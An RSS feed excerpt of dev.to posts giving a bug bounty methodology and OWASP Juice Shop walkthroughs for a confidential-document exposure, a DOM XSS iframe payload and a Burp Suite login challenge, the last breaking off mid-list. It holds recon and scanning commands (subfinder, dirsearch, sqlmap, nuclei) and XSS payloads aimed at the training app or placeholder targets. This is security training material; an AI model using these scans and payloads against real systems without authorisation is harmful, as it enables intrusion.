&lt;th&gt;&lt;strong&gt;Vulnerability&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;A01:2021&lt;/td&gt;
&lt;td&gt;Broken Access Control&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A02:2021&lt;/td&gt;
&lt;td&gt;Cryptographic Failures&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A03:2021&lt;/td&gt;
&lt;td&gt;Injection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A04:2021&lt;/td&gt;
&lt;td&gt;Insecure Design&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A05:2021&lt;/td&gt;
&lt;td&gt;Security Misconfiguration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A06:2021&lt;/td&gt;
&lt;td&gt;Vulnerable and Outdated Components&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A07:2021&lt;/td&gt;
&lt;td&gt;Identification and Authentication Failures&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A08:2021&lt;/td&gt;
&lt;td&gt;Software and Data Integrity Failures&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A09:2021&lt;/td&gt;
&lt;td&gt;Security Logging and Monitoring Failures&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A10:2021&lt;/td&gt;
&lt;td&gt;Server-Side Request Forgery (SSRF)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h3&gt;
  
  
  4. &lt;strong&gt;Bug Bounty Methodology&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;4.1 Reconnaissance&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Nmap&lt;/strong&gt;: This is a OWASP focused walk-through so you can use nmap but the steps below utilize OWASP Tools but for a basic nmap scan run `nmap -sC -sV -oN bountyprojectname.nmap &lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SubFinder&lt;/strong&gt;: Start by running SubFinder to discover subdomains of your target.

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Command&lt;/strong&gt;: &lt;code&gt;subfinder -d &amp;lt;target_domain&amp;gt; -o subdomains.txt&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sub-Step&lt;/strong&gt;: Store the output and analyze the domain structure.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;httpx&lt;/strong&gt;: Check which subdomains are alive and gather information.

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Command&lt;/strong&gt;: &lt;code&gt;cat subdomains.txt | httpx -title -status-code -o alive_subdomains.txt&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sub-Step&lt;/strong&gt;: Analyze active subdomains to prioritize them.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;OWASP Top 10 Focus&lt;/strong&gt;: Look for possible security misconfigurations (A05) by checking SSL and headers.&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;4.2 Content Discovery&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Katana&lt;/strong&gt;: Use Katana to find directories and sensitive content across subdomains.

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Command&lt;/strong&gt;: &lt;code&gt;katana -u https://&amp;lt;target_domain&amp;gt; -o content.txt&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sub-Step&lt;/strong&gt;: Look for directories, files, and JavaScript endpoints that may expose sensitive information.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Dirsearch&lt;/strong&gt;: Use Dirsearch to brute-force hidden files and directories.

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Command&lt;/strong&gt;: &lt;code&gt;python3 dirsearch.py -u https://&amp;lt;target_domain&amp;gt; -w /path/to/wordlist.txt -o dir_results.txt&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sub-Step&lt;/strong&gt;: Analyze results for possible sensitive directories such as admin panels or configuration files (A03 Injection, A05 Misconfiguration).&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;OWASP Top 10 Focus&lt;/strong&gt;: Hidden directories can lead to unauthorized access or information leaks (A01 Broken Access Control).&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;




&lt;h3&gt;
  
  
  5. &lt;strong&gt;Identifying Vulnerabilities&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;5.1 Injection Attacks&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;SQL Injection (A03)&lt;/strong&gt;: Use SQLMap or manual techniques to check for SQL injection vulnerabilities.

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Command&lt;/strong&gt;: &lt;code&gt;sqlmap -u '&amp;lt;https://target.com?id=1&amp;gt;' --batch --dbs&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Command Injection (A03)&lt;/strong&gt;: Look for command injection points in forms or URL parameters.&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;5.2 Cross-Site Scripting (XSS)&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Step 1&lt;/strong&gt;: Test for reflected or stored XSS vulnerabilities in input fields.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Step 2&lt;/strong&gt;: Use payloads like &lt;code&gt;"&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OWASP Focus&lt;/strong&gt;: XSS falls under A03 (Injection).&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;




&lt;h3&gt;
  
  
  6. &lt;strong&gt;Advanced Vulnerability Scanning&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;6.1 Nuclei for Vulnerability Scanning&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Command&lt;/strong&gt;: &lt;code&gt;nuclei -u https://&amp;lt;target_domain&amp;gt; -t cves/ -o vuln_report.txt&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sub-Step&lt;/strong&gt;: Use the default templates and CVE detection for rapid scanning.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Custom Templates&lt;/strong&gt;: Add your own YAML templates for custom vulnerability detection.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OWASP Top 10 Focus&lt;/strong&gt;: Use Nuclei to find vulnerabilities in components (A06 Vulnerable and Outdated Components).&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;




&lt;h3&gt;
  
  
  7. &lt;strong&gt;Reporting&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;7.1 Creating the Report&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Step 1&lt;/strong&gt;: Organize your findings by vulnerability type.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Step 2&lt;/strong&gt;: Provide proof of concept (PoC) for each vulnerability.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Step 3&lt;/strong&gt;: Offer remediation steps where possible.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Step 4&lt;/strong&gt;: Submit the report through the appropriate bug bounty platform.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;7.2 Follow-Up&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;Be prepared for follow-up questions from the security team.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;




&lt;h3&gt;
  
  
  8. &lt;strong&gt;Continuous Improvement&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;8.1 Learning from the Community&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;Join bug bounty forums and participate in discussions.&lt;/li&gt;
&lt;li&gt;Engage with write-ups from experienced hackers on platforms like Hacker1 or Bugcrowd.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;Stay on the look out for the Ultimate Bug Bounty Guide i will be releasing soon. I made sure it is extremely detailed in depth and easy to follow.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>OWASP JS Sensitive Data Exposure Confidential Document</title>
      <dc:creator>haXarubiX</dc:creator>
      <pubDate>Tue, 28 Jan 2025 07:16:25 +0000</pubDate>
      <link>https://dev.to/hax/owasp-js-sensitive-data-exposure-confidential-document-3881</link>
      <guid>https://dev.to/hax/owasp-js-sensitive-data-exposure-confidential-document-3881</guid>
      <description>&lt;h2&gt;
  
  
  Sensitive Data Exposure Confidential Document
&lt;/h2&gt;

&lt;p&gt;"Sensitive Data Exposure - Confidential Document" challenge in the OWASP Juice Shop.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Understand the Challenge
&lt;/h3&gt;

&lt;p&gt;The challenge is to access a confidential document within the Juice Shop application. This often involves finding and accessing a file or endpoint that contains sensitive information which should not be publicly accessible.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: Explore the Application
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Browse Different Pages&lt;/strong&gt;: Go through various sections of the Juice Shop, including the home page, admin sections, and user profiles.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Inspect Elements&lt;/strong&gt;: Use your browser's developer tools to inspect elements and look for hidden or commented-out URLs that might point to sensitive documents.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Step 3: Use Developer Tools
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Open Developer Tools&lt;/strong&gt;: Right-click on the page and select "Inspect" or press &lt;code&gt;F12&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Check Network Tab&lt;/strong&gt;: Monitor network requests to see if any files are being loaded that look like they could contain sensitive data.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Step 4: Look for Clues in the Application
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Look for Suspicious Links or Files&lt;/strong&gt;: Sometimes, the Juice Shop has links or files hidden in the source code.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Check Robots.txt&lt;/strong&gt;: Navigate to &lt;code&gt;http://your-juice-shop-url/robots.txt&lt;/code&gt;. This file often contains paths to files or directories that are intended to be hidden from search engines.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Step 5: Common Paths and Files
&lt;/h3&gt;

&lt;p&gt;OWASP Juice Shop sometimes uses predictable paths for sensitive documents. Here are some paths to try:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Check &lt;code&gt;/ftp&lt;/code&gt; directory&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;Navigate to &lt;code&gt;http://your-juice-shop-url/ftp&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Look for any files listed in the directory.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Check for &lt;code&gt;/admin&lt;/code&gt; directory&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;Navigate to &lt;code&gt;http://your-juice-shop-url/admin&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;See if there are any accessible files or directories.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Step 6: Try Specific URL Paths
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Accessing the Confidential Document&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;Navigate to &lt;code&gt;http://your-juice-shop-url/ftp/legal.md&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;This file often contains a legal document that is part of the sensitive data exposure challenge.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Alternative Path&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;Navigate to &lt;code&gt;http://your-juice-shop-url/ftp/acquisitions.md&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Step 7: Verify the Challenge Completion
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Once you access the correct confidential document, the Juice Shop application will typically provide a notification or update the challenge progress indicating that you have completed the challenge.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Detailed Example
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Navigate to the Juice Shop Application&lt;/strong&gt;: Open your Juice Shop application in your web browser.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Check &lt;code&gt;robots.txt&lt;/code&gt;&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;Open &lt;code&gt;http://your-juice-shop-url/robots.txt&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Look for disallowed paths like &lt;code&gt;/ftp&lt;/code&gt; or &lt;code&gt;/admin&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Access Potential Confidential Documents&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;Go to &lt;code&gt;http://your-juice-shop-url/ftp/legal.md&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;If that doesn't work, try &lt;code&gt;http://your-juice-shop-url/ftp/acquisitions.md&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Verify&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;Once you open one of these files, look for the notification from the Juice Shop indicating that the challenge is complete.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Example URL Paths:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;http://your-juice-shop-url/ftp/legal.md&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http://your-juice-shop-url/ftp/acquisitions.md&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;By following these steps, you should be able to locate and access a confidential document.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>OWASP JS XSS Bonus Payload</title>
      <dc:creator>haXarubiX</dc:creator>
      <pubDate>Tue, 28 Jan 2025 07:12:36 +0000</pubDate>
      <link>https://dev.to/hax/owasp-js-xss-bonus-payload-8bc</link>
      <guid>https://dev.to/hax/owasp-js-xss-bonus-payload-8bc</guid>
      <description>&lt;p&gt;The goal is to use the following iframe to perform a DOM XSS attack:&lt;/p&gt;

&lt;h3&gt;
  
  
  Step-by-Step Walkthrough:
&lt;/h3&gt;

&lt;h3&gt;
  
  
  Step 1: Identify Potential Injection Points
&lt;/h3&gt;

&lt;p&gt;Like the last DOM XSS challenge, you need to find an input field or URL parameter in the Juice Shop where you can inject the payload.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: Select a Suitable Injection Point
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Search Bar&lt;/strong&gt;: Often a good starting point.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Feedback Form&lt;/strong&gt;: Another common target.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;URL Parameters&lt;/strong&gt;: Look for places in the URL where input is reflected back to the DOM.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Step 3: Test the Payload
&lt;/h3&gt;

&lt;p&gt;Here, we'll walk through using the search bar as an example:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Navigate to the Juice Shop Application&lt;/strong&gt;: Open your Juice Shop application in your web browser.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Locate the Search Bar&lt;/strong&gt;: Usually found at the top of the page.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Step 4: Inject the Bonus Payload
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Enter the Payload into the Search Bar&lt;/strong&gt;: Paste the provided iframe payload into the search bar:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class="na"&gt;width=&lt;/span&gt;&lt;span class="s"&gt;"100%"&lt;/span&gt; &lt;span class="na"&gt;height=&lt;/span&gt;&lt;span class="s"&gt;"166"&lt;/span&gt; &lt;span class="na"&gt;scrolling=&lt;/span&gt;&lt;span class="s"&gt;"no"&lt;/span&gt; &lt;span class="na"&gt;frameborder=&lt;/span&gt;&lt;span class="s"&gt;"no"&lt;/span&gt; &lt;span class="na"&gt;allow=&lt;/span&gt;&lt;span class="s"&gt;"autoplay"&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/771984076&amp;amp;color=%23ff5500&amp;amp;auto_play=true&amp;amp;hide_related=false&amp;amp;show_comments=true&amp;amp;show_user=true&amp;amp;show_reposts=false&amp;amp;show_teaser=true"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;&amp;lt;iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/771984076&amp;amp;color=%23ff5500&amp;amp;auto_play=true&amp;amp;hide_related=false&amp;amp;show_comments=true&amp;amp;show_user=true&amp;amp;show_reposts=false&amp;amp;show_teaser=true"&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Submit the Search&lt;/strong&gt;: Press Enter or click the search button.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Step 5: Observe the Result
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;If the search functionality is vulnerable to DOM XSS, the iframe should be rendered in the DOM, and you should see the SoundCloud player appear on the page.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Step 6: Verify Challenge Completion
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;The OWASP Juice Shop application will typically provide a notification or update the challenge progress once the iframe is successfully injected and rendered.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Troubleshooting Tips:
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Inspect the Page&lt;/strong&gt;: Use browser developer tools to inspect how the search query is being processed and displayed in the DOM.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Try Different Inputs&lt;/strong&gt;: If the search bar doesn't work, try other input fields like the feedback form or URL parameters.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Example Using URL Parameters
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Navigate to a Page with URL Parameters&lt;/strong&gt;: For instance, a product details page might have a URL like &lt;code&gt;http://your-juice-shop-url/#/product/1&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Modify the URL Parameter&lt;/strong&gt;: Append the iframe payload to a parameter in the URL, such as:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;http://your-juice-shop-url/#/search?q=&lt;span class="nt"&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class="na"&gt;width=&lt;/span&gt;&lt;span class="s"&gt;"100%"&lt;/span&gt; &lt;span class="na"&gt;height=&lt;/span&gt;&lt;span class="s"&gt;"166"&lt;/span&gt; &lt;span class="na"&gt;scrolling=&lt;/span&gt;&lt;span class="s"&gt;"no"&lt;/span&gt; &lt;span class="na"&gt;frameborder=&lt;/span&gt;&lt;span class="s"&gt;"no"&lt;/span&gt; &lt;span class="na"&gt;allow=&lt;/span&gt;&lt;span class="s"&gt;"autoplay"&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/771984076&amp;amp;color=%23ff5500&amp;amp;auto_play=true&amp;amp;hide_related=false&amp;amp;show_comments=true&amp;amp;show_user=true&amp;amp;show_reposts=false&amp;amp;show_teaser=true"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;http://your-juice-shop-url/#/search?q=&amp;lt;iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/771984076&amp;amp;color=%23ff5500&amp;amp;auto_play=true&amp;amp;hide_related=false&amp;amp;show_comments=true&amp;amp;show_user=true&amp;amp;show_reposts=false&amp;amp;show_teaser=true"&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Load the Page&lt;/strong&gt;: Hit Enter and see if the SoundCloud player is rendered&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

</description>
    </item>
    <item>
      <title>OWASP Juice-Shop Walkthrough; Sensitive Data Exposure - Login Amy</title>
      <dc:creator>haXarubiX</dc:creator>
      <pubDate>Sat, 07 Dec 2024 23:40:45 +0000</pubDate>
      <link>https://dev.to/hax/owasp-juice-shop-walkthrough-sensitive-data-exposure-login-amy-fph</link>
      <guid>https://dev.to/hax/owasp-juice-shop-walkthrough-sensitive-data-exposure-login-amy-fph</guid>
      <description>&lt;h2&gt;
  
  
  Sensitive Data Exposure - Login Amy
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Objective
&lt;/h3&gt;

&lt;p&gt;Log in with Amy's original user credentials by exploiting sensitive data exposure.&lt;/p&gt;

&lt;h3&gt;
  
  
  Steps to Complete the Challenge
&lt;/h3&gt;

&lt;h3&gt;
  
  
  Setting Up Burp Suite and FoxyProxy
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Install Burp Suite:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Burp Suite is usually pre-installed on Kali Linux. If not, you can install it using:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt-get update
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt-get &lt;span class="nb"&gt;install &lt;/span&gt;burpsuite

&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Start Burp Suite:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Open a terminal and type &lt;code&gt;burpsuite&lt;/code&gt; to start Burp Suite.&lt;/li&gt;
&lt;li&gt;You may need to agree to the license agreement and select the "Temporary project" option.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Configure Burp Suite Proxy:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;In Burp Suite, go to the "Proxy" tab and then the "Options" sub-tab.&lt;/li&gt;
&lt;li&gt;Ensure that the interface is set to &lt;code&gt;127.0.0.1&lt;/code&gt; and port &lt;code&gt;8080&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Install FoxyProxy:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Open Firefox and go to the Firefox Add-ons website.&lt;/li&gt;
&lt;li&gt;Search for "FoxyProxy" and install it.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Configure FoxyProxy:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Click on the FoxyProxy icon in the toolbar and select "Options".&lt;/li&gt;
&lt;li&gt;Add a new proxy by clicking "Add".

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Title:&lt;/strong&gt; Burp Suite&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Proxy Type:&lt;/strong&gt; HTTP&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Proxy IP:&lt;/strong&gt; 127.0.0.1&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Port:&lt;/strong&gt; 8080&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Save the configuration.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Enable FoxyProxy:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Click on the FoxyProxy icon and select the "Burp Suite" proxy profile to enable it.&lt;/li&gt;
&lt;li&gt;To disable it, select "Turn Off All Proxies".&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Brief Tutorial on Burp Suite
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Proxy:&lt;/strong&gt; Intercepts and inspects HTTP/S traffic between your browser and the server.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Repeater:&lt;/strong&gt; Allows you to modify and resend individual requests.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Intruder:&lt;/strong&gt; Automates customized attacks by modifying request parameters.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scanner:&lt;/strong&gt; Scans for common vulnerabilities (available in Burp Suite Professional).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Decoder:&lt;/strong&gt; Decodes or encodes data in various formats.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Comparer:&lt;/strong&gt; Compares different responses to identify differences.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Detailed Walkthrough for "Login Amy"
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Log In to Juice Shop:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;Open Firefox and navigate to &lt;code&gt;http://localhost:3000&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Ensure FoxyProxy is enabled and Burp Suite is intercepting traffic.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Identify Amy's User Account:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;Typically, Juice Shop users are listed in the "Contact" or "About Us" sections. Look for any mentions of user accounts, especially Amy's.&lt;/li&gt;
&lt;li&gt;Open the browser’s DevTools (by pressing &lt;code&gt;F12&lt;/code&gt;), and go to the "Network" tab to inspect traffic.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Intercept Login Request:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;Attempt to log in with a dummy account to capture the login request in Burp Suite.&lt;/li&gt;
&lt;li&gt;Enter any email and password, and submit the form.&lt;/li&gt;
&lt;li&gt;Burp Suite will capture the request. Send this request to the Repeater tab by right-clicking and selecting "Send to Repeater".&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Analyze Sensitive Data Exposure:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;In Burp Suite, go to the "HTTP history" tab and look for responses that may contain sensitive data.&lt;/li&gt;
&lt;li&gt;Specifically, look for responses that might reveal Amy's password or hints. Juice Shop sometimes exposes sensitive data in unexpected places, such as comments in HTML or through API responses.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Look for Password Hints:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;Open the "Source" tab in the browser’s DevTools and search through JavaScript files and HTML for any comments or hints. Sometimes, developers leave comments or notes that can expose sensitive information.&lt;/li&gt;
&lt;li&gt;Look for any clues related to passwords or user information.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
